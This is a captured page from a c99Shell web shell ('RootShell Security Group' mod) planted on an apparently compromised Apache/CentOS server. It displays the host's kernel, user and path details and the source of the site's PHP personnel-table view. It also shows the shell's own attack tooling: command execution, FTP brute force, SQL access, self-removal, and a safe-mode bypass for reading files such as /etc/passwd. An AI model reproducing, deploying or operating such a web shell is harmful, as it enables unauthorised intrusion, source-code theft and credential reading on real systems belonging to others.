!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showPersonCenterTable.php (4.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<html>
<head>
<title>ตารางบุคลากร</title>
<script language="JavaScript">
    function ReturnValue(personCode, personId, prefixId,prefixName,fName,lName,prefixNameEng,fName2,lName2,email,pic)
    {
//        mf = window.opener.getElementById("myform");
//            mf.getElementById("personCode").value = personId;
            window.opener.document.myform.elements["personCode"].value = personCode;
            window.opener.document.myform.elements["personId"].value = personId;
            window.opener.document.myform.elements["prefixId"].value = prefixId;
            window.opener.document.myform.elements["prefixName"].value = prefixName;
            window.opener.document.myform.elements["fName"].value = fName;
            window.opener.document.myform.elements["lName"].value = lName;
            window.opener.document.myform.elements["prefixName2"].value = prefixNameEng;
            window.opener.document.myform.elements["fName2"].value = fName2;
            window.opener.document.myform.elements["lName2"].value = lName2;
            window.opener.document.myform.elements["emailAddr"].value = email;
            window.opener.document.myform.elements["pic"].value = pic;
//        window.opener.myform.getElementById("personCode").value = personId;
//        window.opener.myform.getElementById("prefixId").value = prefixId;
//        window.opener.myform.getElementById("prefixName").value = prefixName;
//        window.opener.myform.getElementById("fName").value = fName;
//        window.opener.myform.getElementById("lName").value = lName;
//        window.opener.myform.getElementById("prefixName2").value = prefixNameEng;
//        window.opener.myform.getElementById("fName2").value = fName2;
//        window.opener.myform.getElementById("lName2").value = lName2;
//        window.opener.document.myform1.elements["prsNameRC"].value = person;
//        window.opener.document.myform1.elements["prsIdRC"].value = prsId;
        //alert(window.opener.document.myform1.elements["prsIdRC"].value);
        window.close();
    }
</script>
</head>
<body bgcolor="#FFFFFF">
    <table width="60%" border="1" cellspacing="2" cellpadding="2" bordercolor="#000000" style="border-collapse:collapse" align="center">
        <tr bgcolor="<?php echo $this->config->item("rg_table_color");?>">
            <td align="center" nowrap><font size="2" color="<?php echo $font_color_table;?>"><b>ลำดับที่</b></font></td>
            <td align="center" nowrap><font size="2" color="<?php echo $font_color_table;?>"><b>รหัสประจำตัว</b></font></td>
            <td align="center" nowrap><font size="2" color="<?php echo $font_color_table;?>"><b>ชื่อ - นามสกุลไทย</b></font></td>
            <td align="center" nowrap><font size="2" color="<?php echo $font_color_table;?>"><b>ชื่อ - นามสกุลอังกฤษ</b></font></td>
            <td align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>อีเมล์</b></font></td></tr>
        <?php
        
if($rs_ps && $rs_ps->num_rows()) {
            
$i 0;
            foreach(
$rs_ps->result() as $row) {
        
?>
        <tr>
            <td align="center"><font size="2"><?php echo $i+1;?></font></td>
            <td align="center"><font size="2"><a href="#" onclick="ReturnValue('<?=$row->personCode?>','<?=$row->personId?>','<?=$row->prefixId?>','<?=$row->prefixName?>','<?=$row->fName?>','<?=$row->lName?>','<?=$row->prefixNameEng?>','<?=$row->fName2?>','<?=$row->lName2?>','<?=$row->emailAddr?>','<?=$row->pic?>')" ><?php echo $row->personCode;?></a></font></td>
            <td nowrap><font size="2"><a href="#" onclick="ReturnValue('<?=$row->personCode?>','<?=$row->personId?>','<?=$row->prefixId?>','<?=$row->prefixName?>','<?=$row->fName?>','<?=$row->lName?>','<?=$row->prefixNameEng?>','<?=$row->fName2?>','<?=$row->lName2?>','<?=$row->emailAddr?>','<?=$row->pic?>')" ><?php echo $row->prefixName.$row->fName." ".$row->lName;?></a></font></td>
            <td nowrap><font size="2"><a href="#" onclick="ReturnValue('<?=$row->personCode?>','<?=$row->personId?>','<?=$row->prefixId?>','<?=$row->prefixName?>','<?=$row->fName?>','<?=$row->lName?>','<?=$row->prefixNameEng?>','<?=$row->fName2?>','<?=$row->lName2?>','<?=$row->emailAddr?>','<?=$row->pic?>')" ><?php echo $row->prefixNameEng.$row->fName2." ".$row->lName2;?></a></font></td>
            <td><font size="2"><?php echo $row->emailAddr;?></font></td>
        </tr>
        <?php
            $i
++;
            }
        } else {
        
?>
        <tr><td colspan="5" align="center"><font size="2">** ไม่มีข้อมูล **</font></td></tr>
        <?php ?>
        <tr><td colspan="5" align="center"><font size="2"><a href="#" onclick="window.close()">ปิดหน้าต่าง</a></font></td></tr>
    </table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0155 ]--